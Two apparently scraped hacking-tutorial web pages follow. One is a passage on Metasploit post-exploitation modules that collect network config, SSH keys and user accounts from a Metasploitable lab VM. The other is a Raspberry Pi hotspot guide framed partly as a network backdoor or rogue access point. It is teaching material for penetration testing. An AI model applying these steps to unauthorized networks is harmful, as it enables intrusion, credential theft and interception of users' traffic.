[+] Network config stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_661472.txt
[+] Route table stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_402588.txt
[+] Firewall config stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_273816.txt
[+] DNS config stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_884409.txt
[+] SSHD config stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_100280.txt
[+] Host file stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_071264.txt
[+] SSH keys stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_372706.txt
[+] Active connections stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_029831.txt
[+] Wireless information stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_821137.txt
[+] Listening ports stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_676900.txt
[+] If-Up/If-Down stored in /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_258463.txt
[*] Post module execution completedWe can see it collected a plethora of network information, all of which could beuseful for an attacker. For example, we can view the network config file:msf5 post(linux/gather/enum_network) > cat /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_661472.txt
[*] exec: cat /root/.msf4/loot/20190619121247_default_10.10.0.50_linux.enum.netwo_661472.txt
eth0 Link encap:Ethernet HWaddr 08:00:27:77:62:6c
inet addr:10.10.0.50 Bcast:10.10.0.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe77:626c/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2643 errors:0 dropped:0 overruns:0 frame:0
TX packets:2139 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2268520 (2.1 MB) TX bytes:361635 (353.1 KB)
Base address:0xd010 Memory:f0000000-f0020000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:325 errors:0 dropped:0 overruns:0 frame:0
TX packets:325 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:125465 (122.5 KB) TX bytes:125465 (122.5 KB)Module 6: enum_systemThe last module we will cover today is theenum_systemmodule; this will collect system information about the target, including Linux version, installed packages, running services, cron jobs, and user accounts. Again, these are all things that could be found manually, but sometimes it makes more sense to have it done for you all at once.Load the module:msf5 post(linux/gather/enum_network) > use post/linux/gather/enum_systemAnd run it:msf5 post(linux/gather/enum_system) > run
[+] Info:
[+] _ _ _ _ _ _ ____ _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) || | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____| |_| Warning: Never expose this VM to an untrusted network!Contact: msfdev[at]metasploit.comLogin with msfadmin/msfadmin to get started
[+] Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
[+] Module running as "root" user
[*] Linux version stored in /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_406677.txt
[*] User accounts stored in /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_739938.txt
[*] Installed Packages stored in /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_051826.txt
[*] Running Services stored in /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_438719.txt
[*] Cron jobs stored in /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_890911.txt
[*] Disk info stored in /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_036761.txt
[*] Logfiles stored in /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_749148.txt
[*] Setuid/setgid files stored in /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_378666.txt
[*] Post module execution completedWe can see it discovered valuable system information. For instance, we can view all the user accounts on the system:msf5 post(linux/gather/enum_system) > cat /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_739938.txt
[*] exec: cat /root/.msf4/loot/20190619121500_default_10.10.0.50_linux.enum.syste_739938.txt
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
libuuid
dhcp
syslog
klog
sshd
msfadmin
bind
postfix
ftp
postgres
mysql
tomcat55
distccd
user
service
telnetd
proftpd
statdWrapping UpToday, we explored some of Metasploit's post modules to gather valuable information about the target. We covered modules to check for what protections are in place and whether the system is a VM or not, modules to discover configuration information pertaining to the network and common software, and even a module to dump password hashes. While all of this information can be gathered manually, Metasploit makes the job quick and painless.Don't Miss:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bySoumil Kumar/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesSPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )How To:Get Root with Metasploit's Local Exploit SuggesterHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Gather Information on PostgreSQL Databases with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Enumerate MySQL Databases with MetasploitHow To:Identify Missing Windows Patches for Easier ExploitationHack Like a Pro:Hacking the Heartbleed VulnerabilityHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)How To:Use Metasploit's Database to Stay Organized & Store Information While HackingHow to Hack Like a Pro:Getting Started with MetasploitHow To:Exploit EternalBlue on Windows Server with MetasploitHow To:Discover Open Ports Using Metasploit's Built-in Port ScannerMac for Hackers:How to Organize Your Tools by Pentest StagesHow To:Use Postenum to Gather Vital Data During Post-ExploitationHack Like a Pro:Exploring the Inner Architecture of MetasploitHow To:Upgrade a Normal Command Shell to a Metasploit MeterpreterHow To:Get Root Access on OS X Mavericks and YosemiteHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:Exploit Shellshock on a Web Server Using MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)How To:Get Root Filesystem Access via Samba Symlink TraversalHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)How to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Exploit Java Remote Method Invocation to Get RootHacking Windows 10:How to Capture & Exfiltrate Screenshots RemotelyHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Use Websploit to Scan Websites for Hidden DirectoriesHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlRecon:How to Research a Person or Organization Using the Operative FrameworkSEToolkit:Metasploit's Best FriendHow To:Exploit Remote File Inclusion to Get a ShellHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center Exploit |
How to Turn Your Raspberry Pi into a Wireless Hotspot « Null Byte :: WonderHowTo | When hacking into a network during a penetration test, it can sometimes be useful to create your own wireless AP simply by plugging a Pi into an available Ethernet port. With this setup, you have your own backdoor wireless connection to the network in a matter of seconds. Creating an AP is also helpful while traveling, or needing to share a connection with a group of people.There are many reasons you might want to turn your Raspberry Pi into a hotspot. A simple use case is having your own cheap DIY travel router to use in hotel rooms while you're on the road, or even on campus to have a faster private connection to the network. A more nefarious application, such as arogue access point, could also enable you to trick users into connecting to your network.Fortunately for your budget, thePi 3andPi Zero Wboth are capable of working as an access point and should work with whatever Linux distribution you may have running on your Pi. To do so, we'll be using hostapd and DNSmasq, which have been recently patched after Google's security teamdiscovered several serious vulnerabilities.What You'll Need to Get StartedRaspberry Pi 3or thePi Zero W.microSD cardwith Kali Linux or Raspbian image loadedpower supplyEthernet cableFor this guide, we will assume that you already have a Raspberry Pi 3 running Raspbian or Kali Linux. If you don't, consult our previousHow to Set Up a Headless Raspberry Pi Hacking Platform Running Kali Linux.Step 1: Update the OS & Install HostAPDBefore we start, make sure that the Pi is connected to both Ethernet and power. Best practice is to make sure that you are starting off with the Pi running the most up-to-date software, so let's update first. Open a terminal window and type the following.sudo apt-get updatesudo apt-get upgradeAfter your OS finishes updating, let's install hostapd and dnsmasq.Hostapd is the package that will actually let us use the Pi as a Wi-Fi access point. While we are using the internal Wi-Fi in this build, we could use any number ofWireless Network Adapters.Dnsmasq is an easy-to-configure software package that acts as both aDynamic Host Configuration Protocol (DHCP)andDomain Name Server (DNS). DHCP is the standardized protocol that dynamically issues network configuration parameters. We will be using it to assign IP addresses to interfaces and services.Don't Miss:Dynamic Host Configuration ProtocolDHCP is why you only have to input a password when connecting to a new wireless access point, it handles the configuration after that for you. DNS, on the other hand, translates between IP addresses and domain names and is vital to being able to use the internet. It is why you can go to wonderhowto.com without having to know the IP address the website is actually hosted at.Let's download both by typing the following into terminal.sudo apt-get install hostapdsudo apt-get install dnsmasqIf you ever find that you need something more robust and are a more advanced Linux user, you can useisc-dhcp-serverfor DHCP andbind9for DNS, as they both give the user more advanced control and offer an enterprise-grade solution. We will not be using them in this guide in an effort to keep things as simple as possible.Step 2: Configure the InterfaceBy default, dhcpcd handles interface configuration. Because we are going to set up a static wireless IP later we need it to ignore wlan0, the default Wi-Fi card, and prevent interfaces from using it. This should prevent anything from interfering with our access point. Open the file in nano for editing.sudo nano /etc/dhcpcd.confPlace the following line at the end of the file. If you have added any interfaces, then place this above them in order to deny them wlan0.denyinterfaces wlan0On a fresh install, I just placed it at the end of the file.To save our changes in nano, we need toCtrl + XthenYthenEnter. Remember this key combo, as we will use it a lot.Step 3: Static IP AddressWe're now ready to set a static wireless IP for our hotspot, just like any router does. If we didn't, devices attempting to connect to the hotspot wouldn't be able to find it. We'll do this by editing the interfaces file by typing the following into terminal.sudo nano /etc/network/interfacesThe wlan0 settings are the most important for connecting to the Pi. If you decide to change them, be sure to do the same on each step below, or your hotspot will not work. In nano, go ahead and replace everything from the line that says "auto lo" down with the following.auto loiface lo inet loopbackauto eth0allow-hotplug eth0iface eth0 inet staticaddress 192.168.1.2netmask 255.255.255.0gateway 192.168.1.1dns-nameservers 8.8.8.8 8.8.4.4allow-hotplug wlan0iface wlan0 inet staticaddress 192.168.220.1netmask 255.255.255.0network 192.168.220.0broadcast 192.168.220.255# wpa-conf /etc/wpa_supplicant/wpa_supplicant.confI also set a static Ethernet IP for this tutorial, but you may want to leave it dynamic by typingiface eth0 inet dhcpinto a terminal window, and then leave out the addresses directly after that. For more details on this, look at thenetwork configuration wiki.Having a dynamic IP address is important if you plan on connecting it to an unknown network that may already have another device using that IP, otherwise you could end up withIP collisions. IP collisions are when two different devices are given the same IP address, which can confuse the network and cause it to ignore packets from both.When you are done it should look something like this.When it looks the same,Ctrl + XthenYthenEnterto save.After exiting nano, we need to restart dhcpd to have it load in the changes that we made to the configuration file, and then do the same for wlan0. We will do so by typing the following into a terminal window.sudo service dhcpcd restartsudo ifdown wlan0; sudo ifup wlan0Step 4: Hostapd ConfigurationNext, we are going to configure hostapd. To do this, we will open the file with nano by typing the following into terminal.sudo nano /etc/hostapd/hostapd.confNext, add the following lines, which will set up how we want wlan0 to work.# WifI interface and driver to be usedinterface=wlan0driver=nl80211# WiFi settingshw_mode=gchannel=6ieee80211n=1wmm_enabled=1ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]macaddr_acl=0ignore_broadcast_ssid=0# Use WPA authentication and a pre-shared keyauth_algs=1wpa=2wpa_key_mgmt=WPA-PSKrsn_pairwise=CCMP# Network Namessid=Pi3-AP# Network passwordwpa_passphrase=raspberryThe main things you will want to change are the SSID (service set identifier) and wpa_passphrase at the bottom of the file. The SSID is the hotspot name, and how your device identifies the network.Don't Miss:Capturing WPA Passwords by Targeting Users with a Fluxion AttackThe wpa_passphrase is the password to the AP. It is very important tocreate a strong password, or else anyone could access your network. For the more advanced, you may also wish to change the default channel the AP will transmit on, as 6 is the most commonly used by Wi-Fi and easily gets crowded.If you ever chose to use a network adapter other than the built-in Wi-Fi module, the driver will have to be changed to the driver suitable for the Wi-Fi dongle.When complete, hitCtrl + XthenYthenEnterto save.Once that is finished, we need to tell hostapd how to find the file. We'll do this by adding to two files.The first we can open by typingsudo nano /etc/default/hostapdinto a terminal window and change theDAEMON_CONFline near the top to read like so.DAEMON_CONF="/etc/hostapd/hostapd.conf"When complete, hitCtrl + XthenYthenEnterto save.The process to add to the second is much the same. Open the file by typingsudo nano /etc/init.d/hostapdinto a terminal window, and then change DAEMON_CONF line to read as follows.DAEMON_CONF=/etc/hostapd/hostapd.confWhen it looks like the photo above, hitCtrl + XthenYthenEnterto save.Step 5: Dnsmasq ConfigurationThe default dnsmasq configuration file is complex and wouldn't work for our needs. It will be much easier, in this case, for us to start from a blank file.Because it's good practice, and just in case we ever need it in the future, we'll move the default configuration file out of the way. In terminal, we can do this by by typingsudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig, and create our own new blank file by typingsudo nano /etc/dnsmasq.conf.With the blank file now open in nano, add the following lines.interface=wlan0listen-address=192.168.220.1bind-interfacesserver=8.8.8.8domain-neededbogus-privdhcp-range=192.168.220.50,192.168.220.150,12hThis tells dnsmasq to use wlan0 and listen on 192.168.220.1. We also do a few other things: binding interfaces again to make sure they aren't sending, forwarding DNS requests to Google, not forwarding short names, dropping non-routed address, and assigning IPs between 192.168.220.50-150 with a 12-hour lease.When yours looks like the image above, hitCtrl + XthenYthenEnterto save.Step 6: IPv4 ForwardingNow, we have the Wi-Fi side of things set up, but it isn't going to be much of a hotspot if it can't connect to the internet. Let's fix this by forwarding the wlan0 traffic to the ethernet connection.The first thing to do is open the sysctl.conf file by typingsudo nano /etc/sysctl.confinto terminal, and then uncomment the following line by removing the#.net.ipv4.ip_forward=1When done, it should look like below.Save and exit by hittingCtrl + XthenYthenEnter.This change would normally not be applied until the Pi is rebooted, but we don't have to do that. Instead, we can restart the service by typing the following.sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"With the IPv4 forwarding now working properly, we can get our NAT (network address translation) between wlan0 and eth0 up and running. To do that, we need to update our iptables. We'll do this by entering the following lines into terminal, one by one.sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEsudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPTsudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPTIt should look like the image below.That's it! Everything would work now, but there is one hiccup. The iptables are flushed with every boot, meaning they'd need to be reset. You could go in and update them every time ,but that would get annoying fast, and we are lazy, so we need to make them persistent.Luckily there's a package for that. Download it by typing the following into terminal.sudo apt-get install iptables-persistentWhen the dialogue box pops up, make sureYesis selected and pressEnterthis will save our current iptables. It will also ask about IPv6 too, it shouldn't affect anything but save them anyway.If you ever need to change the iptables in the future, do so, and then save those changes by typingsudo netfilter-persistent saveinto a terminal window.Now, we only need to enable the service by typing the following.sudo systemctl enable netfilter-persistentStep 7: Enable ServicesThe last step is to start hostapd by typingsudo service hostapd start,and dnsmasq by typingsudo service dnsmasq start. After typing each, wait a few seconds and check another Wi-Fi enabled device to see if you can see the access point.Don't Miss:Abusing DNS For ReconThis will be different if you used another SSID in step three. Hopefully, your password has been changed too, asraspberryis the very definition of an easy-to-guess password. Below, we see the hotspot showing up.To make sure everything will work properly, it's a good idea to go ahead and reboot the Pi withsudo reboot. Make sure the Pi is connected to Ethernet, and connect to the Pi's hotspot again and try to access the internet.ConclusionToday, we learned how to quickly turn our Raspberry Pi 3s or Pi zero Ws into a wireless hotspot using a few easy-to-install packages. While simple, it is still quite useful to have wireless access to any network, or pop up a wireless AP on demand. This project also makes a great building block, which we will be able to expand on in the future. Future projects, such as adding OpenVPN to route all the traffic through a VPN, or enabling a Pi-based surveillance camera, will build off this method.Thanks for reading, and if you have any questions, please leave a comment here or send me a message on Twitter!Follow me onTwitterFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Hoid/Null ByteRelatedHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiRaspberry Pi:Hacking PlatformThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Build a Portable Pen-Testing Pi BoxHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019 |